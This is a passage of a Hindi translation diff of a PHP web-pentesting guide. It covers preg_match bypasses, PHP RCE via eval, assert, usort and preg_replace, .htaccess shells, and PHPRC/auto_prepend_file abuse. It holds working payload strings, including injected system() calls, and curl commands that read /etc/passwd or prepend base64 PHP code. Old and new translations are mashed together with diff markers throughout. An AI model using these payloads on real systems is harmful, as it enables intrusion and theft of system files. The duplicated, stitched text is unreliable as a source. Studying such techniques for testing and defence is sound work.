हालांकि, जब रेजेक्स की शुरुआत को वर्गीकृत किया जाता है `preg_match()` **केवल उपयोगकर्ता इनपुट की पहली पंक्ति की जांच करता है**, फिर अगर किसी तरह से आप **इनपुट** को **कई पंक्तियों** में **भेज** सकते हैं, तो आप इस जांच को छल सकते हैं। उदाहरण: हालांकि, जब रेजेक्स की शुरुआत को सीमित किया जाता है `preg_match()` **केवल उपयोगकर्ता इनपुट की पहली पंक्ति की जांच करता है**, फिर अगर किसी तरह से आप **इनपुट** को **कई पंक्तियों** में **भेज सकते हैं**, तो आप इस जांच को बाईपास कर सकते हैं। उदाहरण:
```php ```php
$myinput="aaaaaaa $myinput="aaaaaaa
11111111"; //Notice the new line 11111111"; //Notice the new line
@ -99,18 +99,18 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput); echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1" //0 --> In this scenario preg_match DOESN'T find the char "1"
``` ```
इस जांच को छलकरने के लिए आप **नए लाइन्स urlencoded** (`%0A`) के साथ मान भेज सकते हैं या अगर आप **JSON डेटा** भेज सकते हैं, तो इसे **कई लाइनों** में भेजें: इस जांच को छलकरने के लिए आप **नए-लाइन्स urlencoded** (`%0A`) के साथ मान भेज सकते हैं या अगर आप **JSON डेटा** भेज सकते हैं, तो इसे **कई लाइनों** में भेजें:
```php ```php
{ {
"cmd": "cat /etc/passwd" "cmd": "cat /etc/passwd"
} }
``` ```
Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice) एक उदाहरण यहाँ देखें: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **लंबाई त्रुटि बायपास** #### **लंबाई त्रुटि बायपास**
(यह बायपास प्रायः PHP 5.2.5 पर प्रयास किया गया था और मुझे लगता है कि यह PHP 7.3.15 पर काम नहीं करता है)\ (यह बायपास प्रायः PHP 5.2.5 पर प्रयास किया गया था और मुझे PHP 7.3.15 पर काम नहीं करा पाया)\
यदि आप `preg_match()` को एक मान्य बहुत **बड़े इनपुट** को भेज सकते हैं, तो यह **इसे प्रोसेस करने में सक्षम नहीं होगा** और आपको **चेक को बायपास** करने की अनुमति होगी। उदाहरण के लिए, यदि यह एक JSON को ब्लैकलिस्ट कर रहा है तो आप भेज सकते हैं: यदि आप `preg_match()` को एक मान्य बहुत **बड़े इनपुट** भेज सकते हैं, तो यह **इसे प्रोसेस करने में सक्षम नहीं होगा** और आपको **चेक को बायपास** करने की अनुमति होगी। उदाहरण के लिए, यदि यह एक JSON को ब्लैकलिस्ट कर रहा है तो आप भेज सकते हैं:
```bash ```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
``` ```
@ -120,12 +120,12 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
संक्षेप में समस्या इसलिए होती है क्योंकि PHP में `preg_*` फ़ंक्शन [PCRE पुस्तकालय](http://www.pcre.org/) पर आधारित है। PCRE में कुछ नियमित अभिव्यक्तियाँ बहुत सारे पुनरावृत्ति कॉल का उपयोग करके मेल होती हैं, जिससे बहुत सारे स्टैक स्थान का उपयोग होता है। पुनरावृत्तियों की संख्या पर प्रतिबंध लगाना संभव है, लेकिन PHP में यह सीमा [डिफ़ॉल्ट रूप से 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) है जो स्टैक में फिट नहीं होता है। संक्षेप में समस्या इसलिए होती है क्योंकि PHP में `preg_*` फ़ंक्शन [PCRE पुस्तकालय](http://www.pcre.org/) पर आधारित है। PCRE में कुछ नियमित अभिव्यक्तियाँ बहुत सारे पुनरावृत्तियों का उपयोग करके मेल होती हैं, जिससे बहुत सारे स्टैक स्थान का उपयोग होता है। पुनरावृत्तियों की संख्या पर प्रतिबंध लगाना संभव है, लेकिन PHP में यह सीमा [डिफ़ॉल्ट रूप से 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) है जो स्टैक में फिट नहीं होता है।
इस समस्या पर [इस Stackoverflow धागे](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) का भी उल्लेख पोस्ट में किया गया था जहां इस मुद्दे के बारे में अधिक विस्तार से चर्चा की गई थी। हमारा कार्य अब स्पष्ट था:\ इस पोस्ट में [इस समस्या के बारे में अधिक विस्तार से बात की गई है](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)। हमारा काम अब स्पष्ट था:\
**एक इनपुट भेजें जो रीजेक्स को 100,000+ पुनरावृत्तियाँ करने के लिए करेगा, SIGSEGV का कारण बनेगा, `preg_match()` फ़ंक्शन को `false` लौटाएगा जिससे एप्लिकेशन सोचेगा कि हमारा इनपुट हानिकारक नहीं है, और पेयलोड के अंत में कुछ ऐसा चौंकाने वाला फिरका फेंकेंगे `{system(<verybadcommand>)}` जिससे SSTI --> RCE --> ध्वज मिलेगा :)**। **एक इनपुट भेजें जो रीजेक्स को 100,000+ पुनरावृत्तियों को करने के लिए बनाए, SIGSEGV को उत्पन्न करें, `preg_match()` फ़ंक्शन को `false` लौटाएं जिससे एप्लिकेशन सोचे कि हमारा इनपुट हानिकारक नहीं है, अंत में पेयलोड में कुछ ऐसा डालें `{system(<verybadcommand>)}` ताकि SSTI --> RCE --> ध्वज मिले :)**।
ठीक है, रीजेक्स शब्दों में, हम वास्तव में 100k "पुनरावृत्तियाँ" नहीं कर रहे हैं, बल्कि हम "पीछे हटने के कदम" गिन रहे हैं, जैसा कि [PHP दस्तावेज़ीकरण](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) इसे 1,000,000 (1M) डिफ़ॉल्ट करता है `pcre.backtrack_limit` चर।\ ठीक है, रीजेक्स शब्दों में, हम वास्तव में 100k "पुनरावृत्तियाँ" नहीं कर रहे हैं, बल्कि हम "पीछे हटने के कदम" गिन रहे हैं, जैसा कि [PHP दस्तावेज़ीकरण](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) यह बताता है कि यह डिफ़ॉल्ट रूप से `pcre.backtrack_limit` चर में 1,000,000 (1M) है।\
इसे पहुंचने के लिए, `'X'*500_001` 1 मिलियन पीछे हटने के कदम देगा (500k आगे और 500k पीछे): इसे पहुंचने के लिए, `'X'*500_001` 1 मिलियन पीछे हटने के कदम देगा (500k आगे और 500k पीछे):
```python ```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
@ -163,15 +163,15 @@ readfile($page);
## और ट्रिक्स ## और ट्रिक्स
* **register\_globals**: **PHP < 4.1.1.1** में या अगर गलत रूप से कॉन्फ़िगर किया गया है, तो **register\_globals** सक्रिय हो सकता है (या उनका व्यवहार अनुकरण किया जा रहा है)। इसका अर्थ है कि ग्लोबल वेरिएबल्स में जैसे $\_GET जैसे कि $\_GET\["param"]="1234" का मान है, आप इसे **$param** के माध्यम से एक्सेस कर सकते हैं। इसलिए, HTTP पैरामीटर भेजकर आप उन वेरिएबल्स को ओवरराइट कर सकते हैं जो कोड के भीतर उपयोग किए जाते हैं। * **register\_globals**: **PHP < 4.1.1.1** में या अगर गलत रूप से कॉन्फ़िगर किया गया है, तो **register\_globals** सक्रिय हो सकता है (या उनका व्यवहार अनुकरण किया जा रहा है)। इसका अर्थ है कि ग्लोबल वेरिएबल्स में जैसे $\_GET जैसे एक मान है तो आप इसे **$param के माध्यम से एक्सेस** कर सकते हैं। इसलिए, HTTP पैरामीटर भेजकर आप **कोड के भीतर पयोग किए जाे वाले वेरिएबल्स को ओवरराइट** कर सकते हैं।
* **एक ही डोमेन की PHPSESSION कुकीज एक ही स्थान पर संग्रहित होती हैं**, इसलिए यदि एक डोमेन के भीतर **विभिन्न पथों में विभिन्न कुकीज का उपयोग किया जाता है** तो आप उसे एक पथ **कुकी का उपयोग करने के लिए सेट कर सकते हैं** दूसरे पथ की कुकी की मान। इस तरह अगर **दोनों पथ एक ही नाम के वेरिएबल्स तक पहुंचते हैं** तो आप **पथ1 में उस वेरिएबल की मान्यता दे सकते हैं जो पथ2 में लागू होती है**। और फिर पथ2 पथ1 के वेरिएबल्स को मान्य मान लेगा (कुकी को उस नाम का नाम देकर जो पथ2 में उसके लिए संबंधित है)। * **एक ही डोमेन के PHPSESSION कुकी एक ही स्थान पर स्टोर की जाती हैं**, इसलिए यदि एक डोमेन के भीतर **विभिन्न पथों में विभिन्न कुकीज का उपयोग** किया जाता है तो आप एक पथ को **कुकी का उपयोग करने के लिए एक पथ तक पहुंचा सकते हैं** दूसरे पथ की कुकी की मान सेट करके। इस तरह अगर **दोनों पथ एक ही नाम के वेरिएबल का उपयोग करते हैं** तो आप **पथ1 में उस वेरिएबल की मान लागू कर सकते हैं पथ2 पर**। और फिर पथ2 पथ1 के वेरिएबल्स को मान्य मान लेगा (कुकी को उस नाम का नाम देकर जो पथ2 में उसके लिए सही है)।
* जब आपके पास मशीन के उपयोगकर्ताओं के **उपयोगकर्ता नाम** होते हैं। पता करें: **/\~\<USERNAME>** कि क्या php निर्देशिकाएँ सक्रिय हैं। * जब आपके पास मशीन के उपयोगकर्ताओं के **उपयोगकर्ता नाम** होते हैं। पता करें: **/\~\<USERNAME>** कि क्या php निर्देशिकाएँ सक्रिय हैं।
* [**php रैपर्स का उपयोग करके LFI और RCE**](../../../pentesting-web/file-inclusion/) * [**php wrappers का उपयोग करके LFI और RCE**](../../../pentesting-web/file-inclusion/)
### password\_hash/password\_verify ### password\_hash/password\_verify
यह फ़ंक्शन आम तौर पर PHP में **पासवर्ड से हैश उत्पन्न करने** और **हैश के साथ तुलना करने** के लिए उपयोग किया जाता है यह फ़ंक्शन आम तौर पर PHP में **पासवर्ड से हैश उत्पन्न करने** और **हैश के साथ तुलना करने के लिए** उपयोग किए जाते हैं
समर्थित एल्गोरिदम हैं: `PASSWORD_DEFAULT` और `PASSWORD_BCRYPT` (शुरू होता है `$2y$`)। ध्यान दें कि **PASSWORD\_DEFAULT अक्सर PASSWORD\_BCRYPT के समान होता है**। और वर्तमान में, **PASSWORD\_BCRYPT** में **72 बाइट की इनपुट की सीमा सीमित है**। इसलिए, जब आप इस एल्गोरिदम के साथ 72 बाइट से अधिक कुछ हैश करने का प्रयास करते हैं, तो केवल पहले 72B ही उपयोग किया जाएगा: समर्थित एल्गोरिदम हैं: `PASSWORD_DEFAULT` और `PASSWORD_BCRYPT` (शुरू होता है `$2y$`)। ध्यान दें कि **PASSWORD\_DEFAULT अक्सर PASSWORD\_BCRYPT के समान होता है**। और वर्तमान में, **PASSWORD\_BCRYPT** में **72 बाइट की इनपुट की सीमा सीमित है**। इसलिए, जब आप इस एल्गोरिदम के साथ 72 बाइट से अधिक कुछ हैश करने का प्रयास करते हैं तो केवल पहले 72B ही उपयोग किया जाएगा:
```php ```php
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False False
@ -179,40 +179,50 @@ False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW $cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True True
``` ```
### HTTP headers बायपास करना PHP त्रुटियों का दुरुपयोग करके ### HTTP हेडर्स बाईपास करना PHP त्रुटियों का दुरुपयोग करके
#### हेडर्स सेट करने के बाद त्रुटि का कारण #### हेडर्स सेट करने के बाद त्रुटि का कारण
[**इस ट्विटर थ्रेड से**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) आप देख सकते हैं कि 1000 से अधिक GET पैरामीटर या 1000 से अधिक POST पैरामीटर या 20 फ़ाइलें भेजने पर, PHP हेडर्स को प्रतिक्रिया में सेट नहीं करेगा। [**इस ट्विटर थ्रेड**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) से आप देख सकते हैं कि 1000 से अधिक GET पैरामीटर या 1000 से अधिक POST पैरामीटर या 20 फ़ाइलें भेजने पर, PHP हेडर्स को प्रतिक्रिया में सेट नहीं करेगा।
उदाहरण के लिए CSP हेडर्स को सेट करने की अनुमति देना जैसे कोड में: उदाहरण के लिए CSP हेडर्स को सेट करने की अनुमति देना:
```php ```php
<?php <?php
header("Content-Security-Policy: default-src 'none';"); header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"]; if (isset($_GET["xss"])) echo $_GET["xss"];
``` ```
#### Headers सेट करने से पहले बॉडी भरना #### शीर्षक सेट करने से पहले बॉडी भरना
अगर एक **PHP पेज त्रुटियाँ प्रिंट कर रहा है और उपयोगकर्ता द्वारा प्रदान किए गए कुछ इनपुट को वापस दिखा रहा है**, तो उपयोगकर्ता PHP सर्वर को कुछ **सामग्री इतनी लंबी** प्रिंट करने के लिए कर सकता है कि जब यह **प्रतिक्रिया में हेडर्स जोड़ने** का प्रयास करता है तो सर्वर त्रुटि फेंक देगा।\ यदि एक **PHP पेज त्रुटियाँ प्रिंट कर रहा है और उपयोगकर्ता द्वारा प्रदान किए गए कुछ इनपुट को दोहराता है**, तो उपयोगकर्ता PHP सर्वर को कुछ **सामग्री इतनी लंबी** प्रिंट करने के लिए कर सकता है ताकि जब यह प्रतिक्रिया में **हेडर्स जोड़ने** का प्रयास करता है तो सर्वर त्रुटि फेंक देगा।\
निम्नलिखित परिदृश्य में **हमलावर ने सर्वर को कुछ बड़ी त्रुटियाँ फेंकने के लिए किया**, और जैसा कि आप स्क्रीन में देख सकते हैं कि जब php ने **हेडर जानकारी को संशोधित करने का प्रयास किया, तो यह नहीं कर सका** (इसलिए उदाहरण के लिए सीएसपी हेडर उपयोगकर्ता को नहीं भेजा गया था): निम्नलिखित परिदृश्य में **हमलावर ने सर्वर को कुछ बड़ी त्रुटियाँ फेंकने के लिए किया**, और जैसा कि आप स्क्रीन में देख सकते हैं कि जब php ने **हेडर जानकारी को संशोधित करने का प्रयास किया, तो यह नहीं कर सका** (इसलिए उदाहरण के लिए सीएसपी हेडर उपयोगकर्ता को नहीं भेजा गया था):
![](<../../../.gitbook/assets/image (1085).png>) ![](<../../../.gitbook/assets/image (1085).png>)
## PHP फ़ंक्शन में SSRF
पृष्ठ की जाँच करें:
{% content-ref url="php-ssrf.md" %}
[php-ssrf.md](php-ssrf.md)
{% endcontent-ref %}
## कोड निष्पादन ## कोड निष्पादन
**system("ls");**\ **system("ls");**\
**\`ls\`;**\ **\`ls\`;**\
**shell\_exec("ls");** **shell\_exec("ls");**
[अधिक उपयोगी PHP फ़ंक्शन के लिए यह जांचें](php-useful-functions-disable\_functions-open\_basedir-bypass/) [अधिक उपयोगी PHP फ़ंक्शन के लिए इसे जांचें](php-useful-functions-disable\_functions-open\_basedir-bypass/)
### **preg\_replace()** के माध्यम से RCE ### **preg\_replace()** के माध्यम से RCE
```php ```php
preg_replace(pattern,replace,base) preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever") preg_replace("/a/e","phpinfo()","whatever")
``` ```
कोड को निष्पादित करने के लिए "बदलें" तर्क कम से कम एक मैच की आवश्यकता है। कोड को निष्पादित करने के लिए "बदलें" तर्क कम से कम एक मिलान की आवश्यकता है।
यह preg\_replace का विकल्प **PHP 5.5.0 के रूप में विचारात्मक हो गया है।** यह preg\_replace का विकल्प **PHP 5.5.0 के रूप में विचारात्मक हो गया है।**
### **Eval() के माध्यम से RCE**
``` ```
'.system('uname -a'); $dummy=' '.system('uname -a'); $dummy='
'.system('uname -a');# '.system('uname -a');#
@ -220,22 +230,22 @@ preg_replace("/a/e","phpinfo()","whatever")
'.phpinfo().' '.phpinfo().'
<?php phpinfo(); ?> <?php phpinfo(); ?>
``` ```
### **Assert() के माध्यम से RCE** ### **RCE के माध्यम से Assert()**
यह फ़ंक्शन php के भीतर आपको **एक स्ट्रिंग में लिखे गए कोड को निष्पादित करने** की अनुमति देता है ताकि **सच या झूठ लौटाया जा सके** (और इस पर निर्भर करके क्रियान्वयन को बदला जा सके)। सामान्यत: उपयोगकर्ता चर एक स्ट्रिंग के बीच में डाला जाएगा। उदाहरण के लिए:\ यह फ़ंक्शन php के भीतर आपको **एक स्ट्रिंग में लिखे गए कोड को निष्पादित करने** की अनुमति देता है ताकि **सच या झूठ लौटाया जा सके** (और इस पर निर्भर करके क्रियान्वयन को बदला जा सके)। सामान्यत: उपयोगकर्ता चर एक स्ट्रिंग के बीच में डाला जाएगा। उदाहरण के लिए:\
`assert("strpos($_GET['page']),'..') === false")` --> इस मामले में **RCE** प्राप्त करने के लिए आप कर सकते हैं: `assert("strpos($_GET['page']),'..') === false")` --> इस मामले में **RCE** प्राप्त करने के लिए आप कर सकते हैं:
``` ```
?page=a','NeVeR') === false and system('ls') and strpos('a ?page=a','NeVeR') === false and system('ls') and strpos('a
``` ```
आपको कोड की सिंटक्स को **टूटना** होगा, अपने **पेयलोड** को **जोड़ना** होगा, और फिर से इसे **ठीक करना** होगा। आप **तार्किक ऑपरेशन** जैसे कि "**और" या "%26%26" या "|"** का उपयोग कर सकते हैं। ध्यान दें कि "या", "||" काम नहीं करेगा क्योंकि अगर पहला शर्त सत्य है तो हमारा पेयलोड नहीं चलेगा। उसी तरह ";" काम नहीं करेगा क्योंकि हमारा पेयलोड नहीं चलेगा। आपको कोड की सिंटक्स को **टूटना** होगा, अपने **पेयलोड** को **जोड़ना** होगा, और फिर से **ठीक करना** होगा। आप **तार्किक ऑपरेशन** जैसे "**and" या "%26%26" या "|"** का उपयोग कर सकते हैं। ध्यान दें कि "or", "||" काम नहीं करेगा क्योंकि अगर पहला स्थिति सत्य है तो हमारा पेयलोड नहीं चलेगा। उसी तरह ";" काम नहीं करेगा क्योंकि हमारा पेयलोड नहीं चलेगा।
**दूसरा विकल्प** है कमांड के निष्पादन को स्ट्रिंग में जोड़ना: `'.highlight_file('.passwd').'` **दूसरा विकल्प** है कमांड के निष्पादन को स्ट्रिंग में जोड़ना: `'.highlight_file('.passwd').'`
**दूसरा विकल्प** (अगर आपके पास आंतरिक कोड है) कुछ चर को संशोधित करने के लिए कुछ चर को संशोधित करना है: `$file = "hola"` **दूसरा विकल्प** (अगर आपके पास आंतरिक कोड है) कुछ चर को संशोधित करने के लिए: `$file = "hola"`
### **RCE via usort()** ### **usort() के माध्यम से RCE**
इस फ़ंक्शन का उपयोग किसी विशिष्ट फ़ंक्शन का उपयोग करके आइटम के एक अर्रे को क्रमबद्ध करने के लिए किया जाता है।\ इस फ़ंक्शन का उपयोग क विशिष्ट फ़ंक्शन का उपयोग करके आइटम के एक अर्रे को क्रमबद्ध करने के लिए किया जाता है।\
इस फ़ंक्शन का दुरुपयोग करने के लिए: इस फ़ंक्शन का दुरुपयोग करने के लिए:
```php ```php
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?> <?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
@ -256,24 +266,32 @@ function foo($x,$y){
usort();}phpinfo;#, "cmp"); usort();}phpinfo;#, "cmp");
}?> }?>
``` ```
### **RCE के माध्यम से .httaccess** आप **//** का उपयोग करके कोड के बाकी हिस्से को कमेंट कर सकते हैं।
यदि आप **.htaccess** अपलोड कर सकते हैं, तो आप कई चीजें **कॉन्फ़िगर** कर सकते हैं और कोड भी चला सकते हैं (फ़ाइलों को कॉन्फ़िगर करना जिनका एक्सटेंशन .htaccess हो सकता है **चलाया जा सकता है**). बंद करने के लिए जितने भी ब्रैकेट चाहिए हैं, उन्हें खोजने के लिए:
* `?order=id;}//`: हमें एक त्रुटि संदेश मिलता है (`Parse error: syntax error, unexpected ';'`)। हम संभावित रूप से एक या एक से अधिक ब्रैकेट छूट रहे हैं।
* `?order=id);}//`: हमें एक **चेतावनी** मिलती है। वह सही लगता है।
* `?order=id));}//`: हमें एक त्रुटि संदेश मिलता है (`Parse error: syntax error, unexpected ')' i`)। हमें संभावित रूप से बहुत सारे बंद करने वाले ब्रैकेट हैं।
### **.httaccess** के माध्यम से RCE
यदि आप **.htaccess** अपलोड कर सकते हैं, तो आप कई चीजें **कॉन्फ़िगर** कर सकते हैं और कोड भी चला सकते हैं (फ़ाइलों को **एक्सीक्यूट** करने की अनुमति देने वाले फ़ाइलों को कॉन्फ़िगर करना).
विभिन्न .htaccess शैल्स यहाँ पाए जा सकते हैं [यहाँ](https://github.com/wireghoul/htshells) विभिन्न .htaccess शैल्स यहाँ पाए जा सकते हैं [यहाँ](https://github.com/wireghoul/htshells)
### Env Variables के माध्यम से RCE ### Env Variables के माध्यम से RCE
यदि आपको एक ऐसी कमजोरी मिलती है जो आपको **PHP में env variables को संशोधित करने की अनुमति देती है** (और एक और फ़ाइल अपलोड करने की अनुमति देती है, हालांकि अधिक अनुसंधान के साथ शायद इसे बाईपास किया जा सकता है), तो आप इस व्यवहार का दुरुपयोग करके **RCE** प्राप्त कर सकते हैं। यदि आपको **PHP में एनवी वेरिएबल्स को संशोधित करने की अनुमति देने वाली एक विकल्प** मिलता है (और एक और फ़ाइल अपलोड करने की अनुमति भी है, हालांकि अधिक अनुसंधान के साथ शायद इसे बापास किया जा सकता है), तो आप इस व्यवहार का दुरुपयोग करके **RCE** प्राप्त कर सकते हैं।
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): यह env variable अन्य बाइनरी को निष्क्रिय करते समय विचारात्मक पुस्तकालयों को लोड करने की अनुमति देता है (हालांकि इस मामले में यह काम नहीं कर सकता है)। * [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): यह एनवी वेरिएबल अन्य बाइनरी को निष्पादित करते समय विचारात्मक पुस्तकालयों को लोड करने की अनुमति देता है (हालांकि इस मामले में यह काम नहीं कर सकता है)।
* **`PHPRC`** : PHP को इसकी कॉन्फ़िगरेशन फ़ाइल को कहाँ ढूंढना है, इस पर निर्देशित करता है, जिसे आम तौर पर `php.ini` कहा जाता है। यदि आप अपनी खुद की कॉन्फ़िग फ़ाइल अपलोड कर सकते हैं, तो `PHPRC` का उपयोग करें। एक **`auto_prepend_file`** प्रविष्टि जो दूसरी अपलोड की गई फ़ाइल को निष्क्रिय करने के लिए PHP पूर्वसंस्करण को निर्देशित करती है। इस दूसरी फ़ाइल में सामान्य **PHP कोड होता है, जिसे फिर PHP रनटाइम द्वारा किसी भी अन्य कोड से पहले निष्पादित किया जाता है। * **`PHPRC`** : PHP को इसकी कॉन्फ़िगरेशन फ़ाइल को ढूंढने के लिए निर्देशित करता है, जिसे आम तौर पर `php.ini` कहा जाता है। यदि आप अपनी खुद की कॉन्फ़िग फ़ाइल अपलोड कर सकते हैं, तो `PHPRC` का उपयोग करें। एक **`auto_prepend_file`** प्रविष्टि जो दूसरी अपलोड की गई फ़ाइल को निष्पादित करने के लिए PHP प्रीप्रोसेसर को निर्देशित करती है। यह दूसरी फ़ाइल सामान्य **PHP कोड शामिल है, जिसे फिर PHP रनटाइम द्वारा किसी भी अन्य कोड से पहले निष्पादित किया जाता है।
1. अपने शैलकोड से भरी एक PHP फ़ाइल अपलोड करें 1. अपने शैलकोड से भरी एक PHP फ़ाइल अपलोड करें
2. एक दूसरी फ़ाइल अपलोड करें, जिसमें एक **`auto_prepend_file`** निर्देशिका हो जो PHP पूर्वसंस्करण को निर्देशित करती है कि हमने चरण 1 में अपलोड की गई फ़ाइल को निष्क्रिय करने के लिए 2. एक दूसरी फ़ाइल अपलोड करें, जिसमें एक **`auto_prepend_file`** निर्देशिका हो जो PHP प्रीप्रोसेसर को निष्पादित करने के लिए दूसरे चरण में हमने अपलोड की गई फ़ाइल को निष्पादित करने के लिए निर्देशित करती है।
3. `PHPRC` चरण 2 में हमने अपलोड की गई फ़ाइल को सेट करें। 3. `PHPRC` चर में फ़ाइल को सेट करें जिसे हमने दूसरे चरण में अपलोड किया है
* इस श्रृंखला को कैसे निष्पादित करने के बारे में अधिक जानकारी प्राप्त करें [**मूल रिपोर्ट से**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/). * इस श्रृंखला को कैसे निष्पादित करने के बारे में अधिक जानकारी प्राप्त करें [**मूल रिपोर्ट से**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
* **PHPRC** - एक और विकल्प * **PHPRC** - एक और विकल्प
* यदि आप **फ़ाइलें अपलोड नहीं कर सकते हैं**, तो आप FreeBSD में "फ़ाइल" `/dev/fd/0` का उपयोग कर सकते हैं जिसमें **`stdin`** होता है, जो `stdin` को भेजे गए अनुरोध का **बॉडी** होता है: * यदि आप **फ़ाइलें अपलोड नहीं कर सकते हैं**, तो आप फ्रीबीएसडी में "फ़ाइल" `/dev/fd/0` का उपयोग कर सकते हैं जिसमें **`stdin`** होता है, जो `stdin` को भेजे गए अनुरोध का **बॉडी** होता है:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` * `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
* या RCE प्राप्त करने के लिए **`allow_url_include`** को सक्षम करें और एक फ़ाइल को **बेस64 PHP कोड** के साथ प्रीपेंड करें: * या RCE प्राप्त करने के लिए **`allow_url_include`** को सक्षम करें और एक फ़ाइल को **बेस64 PHP कोड** के साथ प्रीपेंड करें:
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'` * `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
@ -287,21 +305,21 @@ exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents unserialize, include, file_put_cotents
$_COOKIE | if #This mea $_COOKIE | if #This mea
``` ```
यदि आप PHP एप्लिकेशन को डीबग कर रहे हैं तो आप `/etc/php5/apache2/php.ini` में `display_errors = On` जोड़कर एरर प्रिंटिंग को ग्लोबली सक्षम कर सकते हैं और अपाच को पुनः आरंभ करें: `sudo systemctl restart apache2` यदि आप एक PHP एप्लिकेशन को डीबग कर रहे हैं तो आप `/etc/php5/apache2/php.ini` में `display_errors = On` जोड़कर एरर प्रिंटिंग को ग्लोबली सक्षम कर सकते हैं और अपाच को पुनः आरंभ करें: `sudo systemctl restart apache2`
### PHP कोड को डीबफस्केट करना ### PHP कोड को डीबफस्केट करना
आप **वेब**[ **www.unphp.net**](http://www.unphp.net) **का उपयोग करके PHP कोड को डीबफस्केट कर सकते हैं।** आप **web**[ **www.unphp.net**](http://www.unphp.net) **का उपयोग करके PHP कोड को डीबफस्केट कर सकते हैं।**
## PHP रैपर्स और प्रोटोकॉल ## PHP रैपर्स और प्रोटोकॉल
PHP रैपर्स और प्रोटोकॉल आपको सिस्टम में **लेखन और पढ़ने की सुरक्षा** को छलकरने और उसे कमजोर करने की अनुमति दे सकते हैं। [**अधिक जानकारी के लिए इस पेज की जाँच करें**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols). PHP रैपर्स और प्रोटोकॉल आपको सिस्टम में **लेखन और पठन सुरक्षा** को छलकरने और उसे कमजोर करने की अनुमति दे सकते हैं। [**अधिक जानकारी के लिए इस पेज की जाँच करें**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols).
## Xdebug अनअथेंटिकेटेड RCE ## Xdebug अनअथेंटिकेटेड RCE
यदि आप देखते हैं कि **Xdebug** `phpconfig()` आउटपुट में **सक्षम** है तो आपको [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) के माध्यम से RCE प्राप्त करने का प्रयास करना चाहिए। यदि आप देखते हैं कि **Xdebug** `phpconfig()` आउटपुट में **सक्षम** है तो आपको [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) के माध्यम से RCE प्राप्त करने का प्रयास करना चाहिए।
## चरवर्ती चरित्रे ## चरचित चरचित्रे
```php ```php
$x = 'Da'; $x = 'Da';
$$x = 'Drums'; $$x = 'Drums';
@ -313,15 +331,15 @@ echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums echo "$x ${Da}"; //Da Drums
``` ```
## RCE नए $\_GET\["a"]\($\_GET\["b"]) का दुरुपयोग ## RCE abusing new $\_GET\["a"]\($\_GET\["b"])
यदि किसी पृष्ठ में **किसी भी विचारशील क्लास का नया ऑब्जेक्ट बना सकते हैं** तो आप RCE प्राप्त कर सकते हैं, निम्नलिखित पृष्ठ की जाँच करें और जानें कैसे: यदि किसी पेज में आप **किसी भी विचारशील क्लास का नया ऑब्जेक्ट बना सकते हैं** तो आप RCE प्राप्त कर सकते हैं, निम्नलिखित पेज की जाँच करें और जानें कैसे:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} {% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
